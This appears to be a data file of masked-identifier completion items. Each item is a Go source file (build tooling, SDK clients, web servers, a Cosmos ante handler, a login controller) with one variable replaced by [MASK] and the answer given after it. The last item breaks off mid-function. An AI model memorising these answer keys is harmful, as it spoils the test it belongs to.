provides a means of running commands across multiple modules in a // a single repository. It operates by scanning the filesystem for all // directories that contain a go.mod file (including 'sub-modules'). // It can then perform a set of 'actions' in each of these directories // in turn. The available actions are specified in a yaml config file and // consist of a list of commands to be executed in each directory. // For example, the 'lint' action will run the following command in // each module directory. // // lint: [""golangci-lint"", ""run"", ""./...""] // // Note that that ';' can be used as a command separator to specify multiple // commands to be run, as in: // // update: [""go"", ""get"", ""-u"", ""./..."", "";"", ""go"", ""mod"", ""tidy""] package main import ( ""context"" ""errors"" ""flag"" ""fmt"" ""io/fs"" ""os"" ""os/exec"" ""path/filepath"" ""reflect"" ""strings"" ""golang.org/x/mod/modfile"" ""gopkg.in/yaml.v3"" ) const builtinConfig = ` test: [ ""go"", ""test"", ""-failfast"", ""--covermode=atomic"", ""--vet=off"", ""-race"", ""./..."", ] lint: [""golangci-lint"", ""run"", ""./...""] govuln: [""govulncheck"", ""./...""] generate: [""go"", ""generate"", ""./...""] markdown: [""gomarkdown"", ""-overwrite"", ""./...""] annotate: [ ""goannotate"", ""--config=${MULTIMOD_ROOT}/copyright-annotation.yaml"", ""--annotation=cloudeng-copyright"", ] usage: [""gousage"", ""--overwrite"", ""./...""] update: [""go"", ""get"", ""-u"", ""./..."", "";"", ""go"", ""mod"", ""tidy""] ` type config struct { TestCmd []string `yaml:""test,flow""` LintCmd []string `yaml:""lint,flow""` GoVulnCmd []string `yaml:""govuln,flow""` Generate []string `yaml:""generate,flow""` Markdown []string `yaml:""markdown,flow""` Usage []string `yaml:""usage,flow""` Annotate []string `yaml:""annotate,flow""` Update []string `yaml:""update,flow""` } func (c config) commandForAction(action string) []string { t := reflect.TypeOf(c) for i := 0; i < t.NumField(); i++ { field := t.Field(i) if strings.HasPrefix(field.Tag.Get(""yaml""), action) { val := reflect.ValueOf(c) cmd := val.Field(i).Interface().([]string) return cmd } } return nil } var multimod_root string func init() { multimod_root, _ = os.Getwd() } func expand(command []string) []string { mapper := func(varname string) string { switch varname { case ""MULTIMOD_ROOT"": return multimod_root default: return """" } } expanded := []string{} for _, c := range command { expanded = append(expanded, os.Expand(c, mapper)) } return expanded } func readConfig() (config, error) { var c config var data = []byte(builtinConfig) var err error if len(configFileFlag) > 0 { data, err = os.ReadFile(configFileFlag) if err != nil { return c, err } } if err := yaml.Unmarshal(data, &c); err != nil { return c, err } return c, nil } func done(msg string, err error) { fmt.Printf(""Failed: %s: %s\n"", msg, err) os.Exit(1) } var ( configFileFlag string modulesFlag bool verboseFlag bool goworkUpdateFlag bool ) func init() { flag.BoolVar(&modulesFlag, ""modules"", false, ""print modules in this repo"") flag.StringVar(&configFileFlag, ""config"", """", ""config file"") flag.BoolVar(&verboseFlag, ""verbose"", false, ""verbose output"") flag.BoolVar(&goworkUpdateFlag, ""gowork-update"", false, ""update all go.work references to latest git hash"") } func main() { ctx := context.Background() flag.Parse() cfg, err := readConfig() if err != nil { done(""reading config"", err) } mods, err := modules() if err != nil { done(""finding modules"", err) } if goworkUpdateFlag { if err := goworkUpdate(ctx, mods); err != nil { done(""updating go.work references"", err) } return } actions := flag.Args() if modulesFlag && len(actions) == 0 { fmt.Println(strings.Join(mods, "" "")) return } type script struct { action string commands []string } var scripts []script for _, action := range actions { command := cfg.commandForAction(action) if len(command) == 0 { done(""unsupported action"", fmt.Errorf(""%q"", action)) } command = expand(command) scripts = append(scripts, script{action, command}) } for _, script := range scripts { if err := runInDirs(ctx, mods, script.action, script.commands); err != nil { done(script.action, err) } } } func modules() ([]string, error) { var dirs []string err := filepath.Walk(""."", func(path string, info fs.FileInfo, err error) error { if err != nil { return err } if info.IsDir() { if _, err := os.Open(filepath.Join(path, ""go.mod"")); err == nil { dirs = append(dirs, path) return nil } } return nil }) return dirs, err } func splitCmd(cmdargs []string) [][]string { var cmds [][]string var cmd []string for _, arg := range cmdargs { if arg == "";"" { cmds = append(cmds, cmd) cmd = []string{} } else { cmd = append(cmd, arg) } } if len(cmd) > 0 { cmds = append(cmds, cmd) } return cmds } func runInDirs(ctx context.Context, dirs []string, action string, cmdSpec []string) error { if len(cmdSpec) == 0 { return fmt.Errorf(""missing command"") } [MASK] := splitCmd(cmdSpec) for _, cmdargs := range [MASK] { cmd := cmdargs[0] args := []string{} if len(cmdargs) > 1 { args = cmdargs[1:] } failed := false for _, dir := range dirs { if err := runInDir(ctx, dir, cmd, args); err != nil { fmt.Fprintf(os.Stderr, ""%v: failed: %v\n"", dir, err) failed = true } } if failed { return fmt.Errorf(""%v failed"", action) } } return nil } func runInDir(ctx context.Context, dir string, binary string, args []string) error { fmt.Printf(""%v...\n"", dir) if verboseFlag { fmt.Printf(""%v %v\n"", binary, strings.Join(args, "" "")) } cmd := exec.CommandContext(ctx, binary, args...) cmd.Dir = dir cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr err := cmd.Run() if err == nil { fmt.Printf(""%v... ok\n"", dir) } else { fmt.Printf(""%v... failed\n"", dir) } return err } func goworkUpdate(ctx context.Context, mods []string) error { filename := ""go.work"" if args := flag.Args(); len(args) > 0 { filename = args[0] } contents, err := os.ReadFile(filename) if err != nil { if errors.Is(err, os.ErrNotExist) { fmt.Printf(""No go.work file found at %v\n"", filename) return nil } return err } fmt.Printf(""Updating go.work references in %v\n"", filename) wk, err := modfile.ParseWork(filename, contents, nil) if err != nil { return err } updates := []string{} for _, r := range wk.Use { if r.Path == ""."" || strings.Contains(r.Path, ""multimod"") { continue } if len(r.Path) > 2 && r.Path[0] == '.' && r.Path[1] == '/' { continue } h, err := gitHashFor(ctx, r.Path) if err != nil { return fmt.Errorf(""failed to get git hash for %v: %v"", r.Path, err) } mod, err := readGoMod(r.Path) if err != nil { return err } updates = append(updates, mod.Module.Mod.Path+""@""+h) } for _, modpath := range mods { for _, update := range updates { fmt.Printf(""updating %v to %v\n"", modpath, update) if err := runInDir(ctx, modpath, ""go"", []string{""get"", update}); err != nil { return err } } } return nil } func readGoMod(path string) (*modfile.File, error) { filename := filepath.Join(path, ""go.mod"") contents, err := os.ReadFile(filename) if err != nil { return nil, err } return modfile.Parse(path, contents, nil) } func gitHashFor(ctx context.Context, path string) (string, error) { var out strings.Builder c := exec.CommandContext(ctx, ""git"", ""rev-parse"", ""HEAD"") c.Dir = path c.Stderr = os.Stderr c.Stdout = &out if err := c.Run(); err != nil { return """", err } return strings.TrimSpace(out.String()[:8]), nil } ",allCmds 183,"package vaultclient import ( ""github.com/aws/aws-sdk-go/aws"" ""github.com/aws/aws-sdk-go/aws/awsutil"" ""github.com/aws/aws-sdk-go/aws/request"" ) import ""time"" const opCreateAccount = ""CreateAccount"" type CreateAccountInput struct { Name *string `locationName:""name""` Email *string `locationName:""emailAddress""` QuotaMax *int64 `locationName:""quotaMax""` ExternalAccountID *string `locationName:""externalAccountId""` } // String returns the string representation func (s CreateAccountInput) String() string { return awsutil.Prettify(s) } // Validate inspects the fields of the type to determine if they are valid. func (s *CreateAccountInput) Validate() error { [MASK] := request.ErrInvalidParams{Context: ""CreateAccountInput""} if s.Name == nil { [MASK] .Add(request.NewErrParamRequired(""Name"")) } if s.Name != nil && len(*s.Name) < 1 { [MASK] .Add(request.NewErrParamMinLen(""Name"", 1)) } if s.Email == nil { [MASK] .Add(request.NewErrParamRequired(""Email"")) } if s.Email != nil && len(*s.Email) < 1 { [MASK] .Add(request.NewErrParamMinLen(""Email"", 1)) } if s.QuotaMax != nil && *s.QuotaMax < 1 { [MASK] .Add(request.NewErrParamMinValue(""QuotaMax"", 1)) } if s.ExternalAccountID != nil && len(*s.ExternalAccountID) < 1 { [MASK] .Add(request.NewErrParamMinLen(""ExternalAccountID"", 1)) } if [MASK] .Len() > 0 { return [MASK] } return nil } // SetName sets the Name field's value. func (s *CreateAccountInput) SetName(v string) *CreateAccountInput { s.Name = &v return s } // SetEmail sets the Email field's value. func (s *CreateAccountInput) SetEmail(v string) *CreateAccountInput { s.Email = &v return s } // SetQuotaMax sets the QuotaMax field's value. func (s *CreateAccountInput) SetQuotaMax(v int64) *CreateAccountInput { s.QuotaMax = &v return s } // SetExternalAccountID sets the ExternalAccountID field's value. func (s *CreateAccountInput) SetExternalAccountID(v string) *CreateAccountInput { s.ExternalAccountID = &v return s } // CreateAccount API operation creates a new Vault account // and adds the ability to pass a context and additional request options. // // The context must be non-nil and will be used for request cancellation. If // the context is nil a panic will occur. In the future the SDK may create // sub-contexts for http.Requests. See https://golang.org/pkg/context/ // for more information on using Contexts. func (c *Vault) CreateAccount(ctx aws.Context, input *CreateAccountInput, opts ...request.Option) (*CreateAccountOutput, error) { req, out := c.CreateAccountRequest(input) req.SetContext(ctx) req.ApplyOptions(opts...) return out, req.Send() } // CreateAccountRequest generates a ""aws/request.Request"" representing the // client's request for the CreateAccount operation. The ""output"" return // value will be populated with the request's response once the request completes // successfully. // // Use ""Send"" method on the returned Request to send the API call to the service. // the ""output"" return value is not valid until after Send returns without error. func (c *Vault) CreateAccountRequest(input *CreateAccountInput) (req *request.Request, output *CreateAccountOutput) { op := &request.Operation{ Name: opCreateAccount, HTTPMethod: ""POST"", HTTPPath: ""/"", } if input == nil { input = &CreateAccountInput{} } output = &CreateAccountOutput{} req = c.newRequest(op, input, output) return } // Account contains information about a Vault account. type Account struct { AccountData *AccountData `type:""structure"" locationName:""data""` } type AccountData struct { Arn *string `locationName:""arn""` Name *string `locationName:""name""` Email *string `locationName:""emailAddress""` ID *string `locationName:""id""` QuotaMax *int64 `locationName:""quotaMax""` CreateDate *time.Time `locationName:""createDate""` CanonicalID *string `locationName:""canonicalId""` AliasList []*string `locationName:""aliasList""` } // CreateAccountOutput contains the response to a successful CreateAccount request. type CreateAccountOutput struct { Account *Account `type:""structure"" locationName:""account""` } // String returns the string representation func (s CreateAccountOutput) String() string { return awsutil.Prettify(s) } // GetAccount returns AccountData func (s CreateAccountOutput) GetAccount() *AccountData { return s.Account.AccountData } ",invalidParams 184,"package main import ( ""net/http"" . ""github.com/troy-work/whateversite/components"" . ""gopkg.in/tylerb/graceful.v1"" ""log"" ) func redirectHttps(w http.ResponseWriter, req *http.Request) { log.Printf(""redirecting to https"") http.Redirect(w, req, ""https://localhost:1443""+req.RequestURI, http.StatusMovedPermanently) } func main() { go func() { [MASK] := http.NewServeMux() [MASK] .HandleFunc(""/"", DefaultHandler) [MASK] .HandleFunc(""/view/"", MakeHandler(ViewHandler)) [MASK] .HandleFunc(""/edit/"", MakeHandler(EditHandler)) [MASK] .HandleFunc(""/save/"", MakeHandler(SaveHandler)) srvTls := &Server{ Timeout: 1, Server: &http.Server{Addr: "":1443"", Handler: [MASK] }, } log.Printf(""Starting https listener"") err := srvTls.ListenAndServeTLS(""cert/server.pem"", ""cert/server.key"") if (err != nil) { log.Fatal(""Tls "", err) } }() srv := &Server{ Timeout: 1, Server: &http.Server{Addr: "":8080"", Handler: http.HandlerFunc(redirectHttps)}, } log.Printf(""Starting http server"") err := srv.ListenAndServe() if (err != nil){ log.Fatal(""http "", err) } }",mux 185,"package main import ( ""fmt"" ""time"" ""github.com/graphql-go/graphql"" ""github.com/onichandame/gim"" gimgraphql ""github.com/onichandame/gim-graphql"" goutils ""github.com/onichandame/go-utils"" ) var MainModule = gim.Module{ Name: `MainModule`, Imports: []*gim.Module{&gimgraphql.GraphqlModule}, Providers: []interface{}{newMainResolver, newMainService}, } type MainResolver struct{} func newMainResolver(gsvc *gimgraphql.GraphqlService, svc *MainService) *MainResolver { var r MainResolver gsvc.AddQuery(""greet"", &graphql.Field{Type: graphql.NewNonNull(graphql.String), Resolve: func(p graphql.ResolveParams) (interface{}, error) { return ""hello world"", nil }}) type EnlistResult struct { Name string `json:""name""` IsSuccessful bool `json:""isSuccessful""` } gsvc.AddMutation(""enlist"", &graphql.Field{ Type: graphql.NewObject(graphql.ObjectConfig{ Name: ""EnlistResult"", Fields: graphql.Fields{ ""name"": &graphql.Field{Type: graphql.NewNonNull(graphql.String)}, ""isSuccessful"": &graphql.Field{Type: graphql.NewNonNull(graphql.Boolean)}, }, }), Args: graphql.FieldConfigArgument{ ""name"": &graphql.ArgumentConfig{Type: graphql.NewNonNull(graphql.String)}, }, Resolve: func(p graphql.ResolveParams) (res interface{}, err error) { defer goutils.RecoverToErr(&err) name := p.Args[""name""].(string) if _, ok := svc.list[name]; ok { panic(fmt.Errorf(""%v already enlisted"", name)) } svc.list[name] = nil res = EnlistResult{Name: name, IsSuccessful: true} return res, err }, }) gsvc.AddSubscription(""timer"", &graphql.Field{ Type: graphql.NewNonNull(graphql.String), Resolve: func(p graphql.ResolveParams) (interface{}, error) { return p.Source, nil }, Subscribe: func(p graphql.ResolveParams) (interface{}, error) { c := make(chan interface{}) ticker := time.NewTicker(time.Second) go func() { for { <-ticker.C c <- time.Now().String() } }() return c, nil }, }) return &r } type MainService struct { list map[string]interface{} } func newMainService() *MainService { var svc MainService svc.list = make(map[string]interface{}) return &svc } func main() { MainModule.Bootstrap() [MASK] := MainModule.Get(&gimgraphql.GraphqlService{}).(*gimgraphql.GraphqlService).BuildSchema() result := graphql.Do(graphql.Params{ Schema: * [MASK] , RequestString: `{greet}`, }) fmt.Println(result.Data.(map[string]interface{})[""greet""]) result = graphql.Do(graphql.Params{ Schema: * [MASK] , RequestString: `mutation($name:String!){enlist(name:$name){name isSuccessful}}`, VariableValues: map[string]interface{}{""name"": ""Tim""}, }) fmt.Println(result.Data.(map[string]interface{})[""enlist""]) result = graphql.Do(graphql.Params{ Schema: * [MASK] , RequestString: `mutation($name:String!){enlist(name:$name){name isSuccessful}}`, VariableValues: map[string]interface{}{""name"": ""Tim""}, }) fmt.Println(result.Errors) reschan := graphql.Subscribe(graphql.Params{ Schema: * [MASK] , RequestString: `subscription{timer}`, }) for { res := <-reschan fmt.Println(res.Data.(map[string]interface{})[""timer""]) } } ",schema 186,"package ante import ( ""fmt"" ""github.com/cosmos/cosmos-sdk/codec"" sdk ""github.com/cosmos/cosmos-sdk/types"" sdkante ""github.com/cosmos/cosmos-sdk/x/auth/ante"" authkeeper ""github.com/cosmos/cosmos-sdk/x/auth/keeper"" bankkeeper ""github.com/cosmos/cosmos-sdk/x/bank/keeper"" feegrantkeeper ""github.com/cosmos/cosmos-sdk/x/feegrant/keeper"" ibcante ""github.com/cosmos/ibc-go/v6/modules/core/ante"" ibckeeper ""github.com/cosmos/ibc-go/v6/modules/core/keeper"" ethermintante ""github.com/evmos/ethermint/app/ante"" ""github.com/Gravity-Bridge/Gravity-Bridge/module/x/gravity/keeper"" ) // NewAnteHandler Constructs a new sdk.AnteHandler for the Gravity app. // AnteHandlers are functions which validate Txs before their contained Msgs are executed, AnteHandlers are constructed // from a chain of AnteDecorators, the final AnteDecorator in the chain being sdkante.Terminator. // This custom AnteHandler constructor chains together the base CosmosSDK decorators with some other custom decorators, // in order to support EIP-712 signed messages (enabling MetaMask signed transactions in browsers) and maintain existing // functionality. Before EIP712 support was added, Gravity was able to support users signing a hash of the transaction data using uncommon // wallet signing methods, the new EIP-712 support enables users to see what they are signing by presenting typed data in the // confirmation screen. Additionally, Ledger support should work with EIP-712 when it would not without. // // For more information see https://github.com/evmos/ethermint/blob/v0.19.3/app/ante/ante.go, which inspired this handler. func NewAnteHandler( options sdkante.HandlerOptions, gravityKeeper *keeper.Keeper, accountKeeper *authkeeper.AccountKeeper, bankKeeper *bankkeeper.BaseKeeper, feegrantKeeper *feegrantkeeper.Keeper, ibcKeeper *ibckeeper.Keeper, [MASK] codec.Codec, evmChainID string, ) (*sdk.AnteHandler, error) { if evmChainID == """" { return nil, fmt.Errorf(""evmChainID not specified, EIP-712 signing will fail"") } fullHandler := sdk.ChainAnteDecorators( // Do not support EVM txs (e.g. solidity contract call txs), easy mistake to make when using MetaMask ethermintante.RejectMessagesDecorator{}, sdkante.NewSetUpContextDecorator(), // Allows exactly 1 type of extension options, and only one of that type to be provided NewGravityRejectExtensionsDecorator( [MASK] ), sdkante.NewValidateBasicDecorator(), sdkante.NewTxTimeoutHeightDecorator(), sdkante.NewValidateMemoDecorator(accountKeeper), sdkante.NewConsumeGasForTxSizeDecorator(accountKeeper), sdkante.NewDeductFeeDecorator(accountKeeper, bankKeeper, feegrantKeeper, nil), sdkante.NewSetPubKeyDecorator(accountKeeper), sdkante.NewValidateSigCountDecorator(accountKeeper), sdkante.NewSigGasConsumeDecorator(accountKeeper, options.SigGasConsumer), // Delegates to EIP-712 verification OR to regular SDK verification depending on the extension option NewGravitySigVerificationDecorator( [MASK] , accountKeeper, options.SignModeHandler, evmChainID), sdkante.NewIncrementSequenceDecorator(accountKeeper), ibcante.NewRedundantRelayDecorator(ibcKeeper), // Enforces the minimum commission for Gravity Prop #1 NewMinCommissionDecorator( [MASK] ), ) return &fullHandler, nil } ",cdc 187,"// package config stores configuration around package afconfig import ( ""os"" ""path"" ""runtime"" ""github.com/BurntSushi/toml"" ) type Config struct { AppName string AppNameConfig string DefaultBrowser string // used to override the builtin filepaths for custom installation locations CustomBrowserPath string CustomSSOBrowserPath string Keyring *KeyringConfig `toml:"",omitempty""` Ordering string ExportCredentialSuffix string } type KeyringConfig struct { Backend *string `toml:"",omitempty""` KeychainName *string `toml:"",omitempty""` FileDir *string `toml:"",omitempty""` LibSecretCollectionName *string `toml:"",omitempty""` } func NewLoadedConfig() (Config, error) { cfg := NewDefaultConfig() err := cfg.Load() return cfg, err } // NewDefaultConfig returns a config with OS specific defaults populated func NewDefaultConfig() Config { cfg := Config{AppName: ""aws-fuzzy"", AppNameConfig: ""aws_fuzzy""} // macos devices should default to the keychain backend if runtime.GOOS == ""darwin"" { keychain := ""keychain"" cfg.Keyring = &KeyringConfig{ Backend: &keychain, } } return cfg } // checks and or creates the config folder on startup func (c Config) SetupConfigFolder() error { configFolder, err := c.ConfigFolder() if err != nil { return err } if _, err := os.Stat(configFolder); os.IsNotExist(err) { err := os.Mkdir(configFolder, 0700) if err != nil { return err } } return nil } func (c Config) ConfigFolder() (string, error) { [MASK] , err := os.UserHomeDir() if err != nil { return """", err } // check if the config folder already exists return path.Join( [MASK] , "".""+c.AppName), nil } func (c *Config) Load() error { configFolder, err := c.ConfigFolder() if err != nil { return err } configFilePath := path.Join(configFolder, ""config"") file, err := os.OpenFile(configFilePath, os.O_RDWR|os.O_CREATE, 0600) if err != nil { return err } defer file.Close() //c := NewDefaultConfig() _, err = toml.NewDecoder(file).Decode(c) return err } func (c *Config) Save() error { configFolder, err := c.ConfigFolder() if err != nil { return err } configFilePath := path.Join(configFolder, ""config"") file, err := os.OpenFile(configFilePath, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0600) if err != nil { return err } defer file.Close() return toml.NewEncoder(file).Encode(c) } ",home 188,"package controllers import ( ""time"" ""github.com/cendolin/backend-auth-service/claims"" ""github.com/cendolin/backend-auth-service/dtos"" ""github.com/cendolin/backend-auth-service/models"" checker ""github.com/cinar/checker/v2"" ""github.com/gofiber/fiber/v3"" ""github.com/golang-jwt/jwt/v5"" ""github.com/matthewhartstonge/argon2"" ) func (t *Controllers) LoginController(ctx fiber.Ctx) error { payload := &dtos.LoginDto{} if err := ctx.Bind().Body(payload); err != nil { return ctx.Status(400).JSON(fiber.Map{ ""message"": err.Error(), }) } errors, [MASK] := checker.CheckStruct(payload) if ! [MASK] { return ctx.Status(400).JSON(fiber.Map{ ""errors"": errors, ""message"": ""Validation Error"", }) } user := &models.User{} if err := t.DB.DB.Model(&models.User{}).Select(""password_hash"", ""username"", ""email"", ""id"", ""verified"", ""country"").Where(""username = ?"", payload.Username).Or(""email = ?"", payload.Email).Where(""suspended_reason IS NULL"").Where(""verified = true"").First(user).Error; err != nil { return ctx.Status(401).JSON(fiber.Map{ ""message"": err.Error(), }) } if ok, err := argon2.VerifyEncoded([]byte(payload.Password), []byte(user.PasswordHash)); err != nil { return ctx.Status(401).JSON(fiber.Map{ ""message"": err.Error(), }) } else if !ok { return ctx.Status(401).JSON(fiber.Map{ ""message"": ""Incorrect password"", }) } claims := &claims.UserClaim{ RegisteredClaims: jwt.RegisteredClaims{ Issuer: ""Cendolin"", ExpiresAt: &jwt.NumericDate{Time: time.Now().Add(2 * time.Hour)}, }, Username: user.Username, Id: user.ID, Country: user.Country, Email: user.Email, } token := jwt.NewWithClaims(jwt.SigningMethodHS512, claims) signedToken, err := token.SignedString([]byte(t.Config.Jwt.Key)) if err != nil { return ctx.Status(500).JSON(fiber.Map{ ""error"": err.Error(), }) } return ctx.Status(200).JSON(fiber.Map{ ""data"": map[string]string{ ""token"": signedToken, ""user_id"": user.ID, ""username"": user.Username, ""email"": user.Email, }, }) } ",valid 189,"package controller import ( ""aws-rds-monitoring-tool/configuration"" ""aws-rds-monitoring-tool/handler"" ""fmt"" ) type RdsMonitoringController struct { MonitoringHandler *handler.RdsMonitoringHandler } func NewRdsMonitoringController() (*RdsMonitoringController, error) { config, err := configuration.ParseEnvConfiguration() if err != nil { return nil, fmt.Errorf(""Could not parse aws rds monitoring tool service config: %s"", err) } [MASK] , err := handler.NewAwsRdsClient(config) if err != nil { return nil, fmt.Errorf(""Creating aws client failed: %v"", err) } handler, err := handler.NewK8sMonitoringHandler( [MASK] ) if err != nil { return nil, fmt.Errorf(""Creating k8s monitoring handler failed: %v"", err) } return &RdsMonitoringController{MonitoringHandler: handler}, nil } ",awsRdsClient 190,"package client import ( ""github.com/infobloxopen/atlas-app-toolkit/query"" atlas_rpc ""github.com/infobloxopen/atlas-app-toolkit/rpc/resource"" ""github.com/seizadi/cmdb/pkg/pb"" context ""golang.org/x/net/context"" ""google.golang.org/grpc"" ""google.golang.org/grpc/metadata"" ) type CmdbClient struct { // The CMDB Server Host string // The CMDB Server Connection Conn *grpc.ClientConn // The CMDB Server API Key ApiKey string } func NewCmdbClient(host string, apiKey string) (*CmdbClient, error) { c := CmdbClient{} err := c.GetConn(host) if err != nil { return nil, err } c.ApiKey = apiKey return &c, nil } func (m *CmdbClient) GetConn(host string) error { // First we create the connection: conn, err := grpc.Dial(host, grpc.WithInsecure()) if err != nil { return err } m.Conn = conn return nil } func (m *CmdbClient) GetCloudProviders() (*pb.ListCloudProvidersResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewCloudProvidersClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) [MASK] := &pb.ListCloudProviderRequest{} respProviders, err := stub.List(ctx, [MASK] ) if err != nil { return nil, err } return respProviders, nil } func (m *CmdbClient) GetRegions() (*pb.ListRegionsResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewRegionsClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) reqList := &pb.ListRegionRequest{} respList, err := stub.List(ctx, reqList) if err != nil { return nil, err } return respList, nil } func (m *CmdbClient) GetRegion(id string) (*pb.ReadRegionResponse, error) { stub := pb.NewRegionsClient(m.Conn) ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) resourceId := atlas_rpc.Identifier{ResourceId: id} fields := query.FieldSelection{} // We'll make another request and also print the response metadata req := &pb.ReadRegionRequest{Id: &resourceId, Fields: &fields} var respHdrs, respTrlrs metadata.MD resp, err := stub.Read(ctx, req, grpc.Header(&respHdrs), grpc.Trailer(&respTrlrs)) if err != nil { return nil, err } return resp, nil } func (m *CmdbClient) CreateCloudProvider(req *pb.CreateCloudProviderRequest) (*pb.CreateCloudProviderResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewCloudProvidersClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) res, err := stub.Create(ctx, req) if err != nil { return nil, err } return res, nil } func (m *CmdbClient) CreateRegion(req *pb.CreateRegionRequest) (*pb.CreateRegionResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewRegionsClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) res, err := stub.Create(ctx, req) if err != nil { return nil, err } return res, nil } func (m *CmdbClient) CreateLifecycle(req *pb.CreateLifecycleRequest) (*pb.CreateLifecycleResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewLifecyclesClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) res, err := stub.Create(ctx, req) if err != nil { return nil, err } return res, nil } func (m *CmdbClient) GetLifecycles() (*pb.ListLifecyclesResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewLifecyclesClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) reqList := &pb.ListLifecycleRequest{} respList, err := stub.List(ctx, reqList) if err != nil { return nil, err } return respList, nil } func (m *CmdbClient) CreateEnvironment(req *pb.CreateEnvironmentRequest) (*pb.CreateEnvironmentResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewEnvironmentsClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) res, err := stub.Create(ctx, req) if err != nil { return nil, err } return res, nil } func (m *CmdbClient) CreateApplication(req *pb.CreateApplicationRequest) (*pb.CreateApplicationResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewApplicationsClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) res, err := stub.Create(ctx, req) if err != nil { return nil, err } return res, nil } func (m *CmdbClient) GetApplications() (*pb.ListApplicationsResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewApplicationsClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) reqList := &pb.ListApplicationRequest{} respList, err := stub.List(ctx, reqList) if err != nil { return nil, err } return respList, nil } func (m *CmdbClient) CreateApplicationInstance(req *pb.CreateApplicationInstanceRequest) (*pb.CreateApplicationInstanceResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewApplicationInstancesClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) res, err := stub.Create(ctx, req) if err != nil { return nil, err } return res, nil } func (m *CmdbClient) CreateChartVersion(req *pb.CreateChartVersionRequest) (*pb.CreateChartVersionResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewChartVersionsClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) res, err := stub.Create(ctx, req) if err != nil { return nil, err } return res, nil } func (m *CmdbClient) UpdateChartVersion(req *pb.UpdateChartVersionRequest) (*pb.UpdateChartVersionResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewChartVersionsClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) res, err := stub.Update(ctx, req) if err != nil { return nil, err } return res, nil } func (m *CmdbClient) CreateAppVersion(req *pb.CreateAppVersionRequest) (*pb.CreateAppVersionResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewAppVersionsClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) res, err := stub.Create(ctx, req) if err != nil { return nil, err } return res, nil } func (m *CmdbClient) CreateAppConfig(req *pb.CreateAppConfigRequest) (*pb.CreateAppConfigResponse, error) { // We can now create stubs that wrap conn: stub := pb.NewAppConfigsClient(m.Conn) // Now we can use the stub to make RPCs ctx := metadata.NewOutgoingContext(context.Background(), metadata.Pairs(""Authorization"", ""Bearer ""+m.ApiKey)) res, err := stub.Create(ctx, req) if err != nil { return nil, err } return res, nil } ",reqProviders 191,"package main import ( ""bufio"" ""flag"" log ""github.com/sirupsen/logrus"" ""os"" ""regexp"" ""strconv"" ""strings"" ) func main() { filePtr := flag.String(""input-file"", """", ""input file to read"") debugPtr := flag.Bool(""debug"", false, ""decide if debug should be enabled"") // Parse the flags flag.Parse() // check if we want debug logs if *debugPtr == true { log.SetLevel(log.DebugLevel) } // check if a file is specified if *filePtr == """" { log.Fatalf(""You need to specify an input file"") } // read the given file file, err := os.Open(*filePtr) if err != nil { log.Fatalf(""Couldn't open file: %v"", err) } defer file.Close() lines, err := readLines(file) if err != nil { log.Fatalf(""Couldn't read lines in file: %v"", err) } var numbers []int // go over each line and get the number from it, then add the number to the numbers for linenumber, line := range lines { thisSum, err := getNum(line) if err != nil { log.Fatalf(""Couldn't get number for line %v: %v"", linenumber, err) } log.Debugf(""Line %v, has number %v"", linenumber, thisSum) numbers = append(numbers, thisSum) } // add the numbers up result := sumArray(numbers) log.Infof(""The result is %v"", result) } // readLines read a line from a file and adds each lines as string element into an array func readLines(file *os.File) ([]string, error) { var lines []string scanner := bufio.NewScanner(file) for scanner.Scan() { lines = append(lines, scanner.Text()) } return lines, scanner.Err() } // getNum gets concatenated number from a string and returns it as int func getNum(line string) (int, error) { // regex match all numbers [MASK] := regexp.MustCompile(""[0-9]"") // find the all numbers in the string allNumbers := [MASK] .FindAllString(line, -1) log.Debugf(""All numbers in line: %v"", allNumbers) // just get the first and last number numbers := []string{allNumbers[0], allNumbers[len(allNumbers)-1]} 